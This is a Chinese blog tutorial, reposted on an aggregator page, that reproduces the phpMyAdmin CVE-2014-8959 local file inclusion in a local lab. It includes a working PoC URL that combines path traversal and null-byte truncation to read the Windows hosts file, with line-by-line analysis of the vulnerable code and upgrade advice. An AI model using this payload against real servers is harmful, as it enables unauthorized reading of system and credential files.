当前位置: 首页 > news >正文

建网站源码建站详解中国工商建设标准化协会网站

建网站源码建站详解,中国工商建设标准化协会网站,网页升级访问每天正常更新欢迎广大,城市建设投资公司网站目录 一、phpMyAdmin 文件包含漏洞(CVE-2014-8959) 1、漏洞简介 2、漏洞原理 二、渗透准备 1、开启服务 2、源码安装 3、访问网站 三、渗透实战 1、文件包含 2、原理分析 一、phpMyAdmin 文件包含漏洞(CVE-2014-8959) 1、漏洞简介 CVE-2014-8959 是 phpMyAdmin 程序…

目录

一、phpMyAdmin 文件包含漏洞(CVE-2014-8959)

1、漏洞简介

2、漏洞原理

二、渗透准备

1、开启服务

2、源码安装

3、访问网站

三、渗透实战

1、文件包含

2、原理分析


一、phpMyAdmin 文件包含漏洞(CVE-2014-8959)

1、漏洞简介

CVE-2014-8959 是 phpMyAdmin 程序多个版本存在的任意文件包含漏洞,影响版本涵盖 4.0.1 - 4.0.10.6、4.1.1 - 4.1.14.7、4.2.1 - 4.2.12 。其产生原因是传入参数未合理校验,在 libraries/gis/pma_gis_factory.php 文件中,直接将传入参数拼接成路径进行文件包含,可能导致文件泄露或恶意代码注入。

  • CVE 编号: CVE-2014-8959

  • 漏洞类型: 本地文件包含 (LFI - Local File Inclusion)

  • 威胁等级: 中危

  • 影响版本

    • phpMyAdmin 4.0.x ( prior to 4.0.10.13)

    • phpMyAdmin 4.1.x ( prior to 4.1.14.7)

    • phpMyAdmin 4.2.x ( prior to 4.2.12)

  • 漏洞发现者: 来自 Cure53 的安全研究人员

  • 官方修复方案:phpMyAdmin 开发团队在受影响版本的后继版本中修复了此漏洞。核心修复方法是 采用白名单验证 来替换之前不安全的过滤方式。

    • phpMyAdmin 4.0.x 升级至 4.0.10.13 或更高版本

    • phpMyAdmin 4.1.x 升级至 4.1.14.7 或更高版本

    • phpMyAdmin 4.2.x 升级至 4.2.12 或更高版本

2、漏洞原理

该漏洞存在于 libraries/gis/pma_gis_factory.php 文件中。

  • 功能背景: phpMyAdmin 提供了一个图形化的编辑器(gis_data_editor.php)用于处理 MySQL 的地理信息系统(GIS)数据类型(如 POINT, POLYGON 等)。这个编辑器允许用户通过表单来生成几何数据的 WKT(Well-Known Text)格式。

  • 不安全的数据流: 在生成可视化效果时,代码需要根据用户选择的 GIS 类型(如 POINT, LINESTRING)来动态加载对应的几何对象处理类。

  • 致命错误: pma_gis_factory.php 中的 factory 函数使用了 include_once 语句来引入这些类文件,而引入的文件路径部分来自于用户可控的输入$_REQUEST['gis_type']),且没有进行充分的过滤和验证(并未过滤目录遍历符号 ../ 和点号 .)

二、渗透准备

1、开启服务

在开始安装之前需要满足安装Web服务和数据库服务的环境,我的环境使用phpstudy搭建服务,如下所示启动Web服务和数据库。特别强调因为使用到了00截断,故而环境中的php版本需要使用5.2.17。

2、源码安装

我这里选择phpmyadmin4.0.10版本的源码,解压后将源码放到网站根目录,位置如下所示。

3、访问网站

当前网站的根目录为C:\phpstudy_pro\WWW\,故而访问phpmyadmin的URL地址如下所示。

http://127.0.0.1/phpmyadmin

如上所示说明环境启动成功,输入数据库的用户名和密码登录,如下所示phpmyadmin为漏洞版本4.0.10。 登陆成功后,URL如下所示,提取token值a231d0ca7eddd4361de6aa8154a6ac62。

http://127.0.0.1/phpmyadmin/index.php?token=a231d0ca7eddd4361de6aa8154a6ac62#PMAURL-0:index.php?db=&table=&server=1&target=&token=a231d0ca7eddd4361de6aa8154a6ac62

三、渗透实战

1、文件包含

hosts 文件的位置: C:\Windows\System32\drivers\etc\hosts,因此构造如下PoC。

http://127.0.0.1/phpmyadmin/gis_data_editor.php?token=a231d0ca7eddd4361de6aa8154a6ac62&gis_data[gis_type]=/../../../../../../Windows/System32/drivers/etc/hosts%00
  • gis_data_editor.php攻击的目标,一个处理GIS(地理信息系统)数据的PHP脚本
  • ?token=a231d0ca7eddd4361de6aa8154a6ac62 安全令牌,用于防止跨站请求伪造(CSRF)攻击。攻击者通常需要从一个有效的会话中获取一个有效的token才能成功利用漏洞。
  • gis_data[gis_type]这表示一个名为 gis_data 的数组参数,其键为 gis_type。在PHP中,这样的URL参数会被解析为 $_GET['gis_data']['gis_type']
  • /../../../../../../Windows/System32/drivers/etc/hosts这是一个路径遍历(Directory Traversal) 序列。它试图从当前工作目录回退6层(/../../../../../../)到根目录,然后导航到Windows系统的 hosts 文件
  • %00这是空字符(Null Byte URL编码。这是整个Payload中最关键的部分针对 PHP 5.3.4 之前的版本(漏洞原理中提到的版本限制)。

如下所示,成功获取到敏感文件内容,为# 127.0.0.1 localhost 127.0.0.1 activate.navicat.com 199.232.68.133 raw.githubusercontent.com。

2、原理分析

pma_gis_factory.php中的关键漏洞代码 (第20-46行)如下所示。

public static function factory($type)
{include_once './libraries/gis/pma_gis_geometry.php';// 1. 将类型转换为小写$type_lower = strtolower($type); // <-- $type 是用户输入的 `gis_data[gis_type]`// 2. 构造文件路径并检查是否存在if (! file_exists('./libraries/gis/pma_gis_' . $type_lower . '.php')) { // <-- 漏洞点Areturn false;}// 3. 包含文件if (include_once './libraries/gis/pma_gis_' . $type_lower . '.php') { // <-- 漏洞点B// ... 根据类型返回对象的逻辑 ...} else {return false;}
}

第1步:请求处理(gis_data_editor.php 第18-20行):
phpMyAdmin的 gis_data_editor.php 接收到这个GET请求,PHP会自动将查询参数解析到超全局数组 $_GET 和 $_REQUEST 中。

// Get data if any posted
$gis_data = array();
if (PMA_isValid($_REQUEST['gis_data'], 'array')) {$gis_data = $_REQUEST['gis_data']; // <-- 攻击参数在这里被接收
}
  • $_REQUEST['gis_data'] 包含了 ['gis_type' => '/../../../../../../Windows/System32/drivers/etc/hosts%00']

  • 这个数组被完整赋值给 $gis_data

第2步:调用漏洞函数
脚本执行到需要加载GIS几何对象时,会调用 PMA_GIS_Factory::factory() 方法,并将用户控制的 $_REQUEST['gis_data']['gis_type'] 作为参数 $type 传入。

$geom_type = $_REQUEST['gis_data']['gis_type'];//确定几何类型
$gis_obj = PMA_GIS_Factory::factory($geom_type); // <-- 漏洞触发点

第3步:进入有漏洞的 factory 方法(修复前代码)

public static function factory($type) // 输入: $type = "/../../../../../../Windows/System32/drivers/etc/hosts%00"
{include_once './libraries/gis/pma_gis_geometry.php'; // 输出: 加载基础类文件,与漏洞无关// 当前: $type = "/../../../../../../Windows/System32/drivers/etc/hosts%00"$type_lower = strtolower($type); // 输入: $type = "/../../../../../../Windows/System32/drivers/etc/hosts%00"// 处理: 转为小写// 输出: $type_lower = "/../../../../../../windows/system32/drivers/etc/hosts%00"// 下一步: 构造文件路径 './libraries/gis/pma_gis_' + $type_lower + '.php'$file_to_check = './libraries/gis/pma_gis_' . $type_lower . '.php';// 输出: $file_to_check = './libraries/gis/pma_gis_/../../../../../../windows/system32/drivers/etc/hosts%00.php'if (! file_exists($file_to_check)) {return false;}// 输入: $file_to_check = './libraries/gis/pma_gis_/../../../../../../windows/system32/drivers/etc/hosts%00.php'// 处理: 空字节截断!系统调用遇到%00停止,实际检查路径: './libraries/gis/pma_gis_/../../../../../../windows/system32/drivers/etc/hosts'// 处理: 路径解析!../../../../../../ 回溯到磁盘根目录,最终定位到: C:\Windows\System32\drivers\etc\hosts// 输出: file_exists() 返回 true (文件存在),继续执行if (include_once './libraries/gis/pma_gis_' . $type_lower . '.php') {// 输入: 再次使用 $type_lower 拼接路径// 输出: 路径 = './libraries/gis/pma_gis_/../../../../../../windows/system32/drivers/etc/hosts%00.php'// 处理: 再次空字节截断!实际包含路径: './libraries/gis/pma_gis_/../../../../../../windows/system32/drivers/etc/hosts'// 处理: 再次路径解析!最终加载: C:\Windows\System32\drivers\etc\hosts// 输出: 尝试将hosts文件作为PHP执行,但因无<?php标签,文件纯文本内容直接输出到浏览器switch(strtoupper($type)) {// ... 永远不会执行到这里,因为include已经输出了文件内容 ...}} else {return false;}
}

第4步:包含成功

include_once 函数成功读取了 C:\Windows\System32\drivers\etc\hosts 文件的内容。由于 hosts 是一个文本文件,并非有效的PHP代码,所以其原始内容会被直接输出(回显)到浏览器中。攻击者从而实现了对服务器上任意文件的读取。

http://www.dtcms.com/a/446262.html

相关文章:

  • phpcms仿站教程it教育培训机构
  • 事务所网站制作方案加盟代理好项目农村
  • yolov8模型在指针式表盘读数中的应用【代码+数据集+python环境+GUI系统】
  • 基于51单片机的智能红外温控风扇设计
  • 从磁盘清理到启动项管理:如何调用原生系统功能
  • PySide6 文本编辑器(QPlainTextEdit)实现查找功能——重构版本
  • 免费注册域名网站河南做网站那家最好
  • 山西省城乡住房和建设厅网站音乐网站如何建设的
  • 用AMD显卡节省nVidia显卡显存占用
  • Go基础:正则表达式 regexp 库详解
  • 怀旧电脑游戏 红色警戒合集 含红警1+2+3代所有版本 免安装中文版 附送地图+修改器
  • 智慧教育——解读“5G+智慧教育”典型应用场景及案例集【附全文阅读】
  • 20251005 OI总结
  • CSP-J复赛模拟赛4 王晨旭补题 2025.10.4
  • 老板让做网站报价平面磨床东莞网站建设
  • 乐清 网站建设云主机安装多个网站
  • AI-调查研究-95-具身智能 机器人场景测试全解析:从极端环境仿真到自动化故障注入
  • 建设功能网站价格传奇竖版手游
  • 河海大学土木专业类建设网站免费网站app源码
  • 网站百度地图虚拟机搭建wordpress
  • wordpress 公众号 会员wordpress优化提速
  • Week 19: 深度学习补遗:自注意力和Transformer Encoder架构
  • 给静态网站加后台简单大气网站欣赏
  • 适用于21世纪20年代的大模型训练基础知识学习哲学--以Brillm为例
  • 运营实力 网站建设泽州网站设计
  • 【计算机视觉】基于数学形态学的保留边缘图像去噪
  • 建材网站建设成都美篇app怎么制作
  • 网站设计软件microsoft2013百度地图在线导航查询
  • 10.Spring ai alibaba MCP本地远程
  • Python2 和 Python3的区别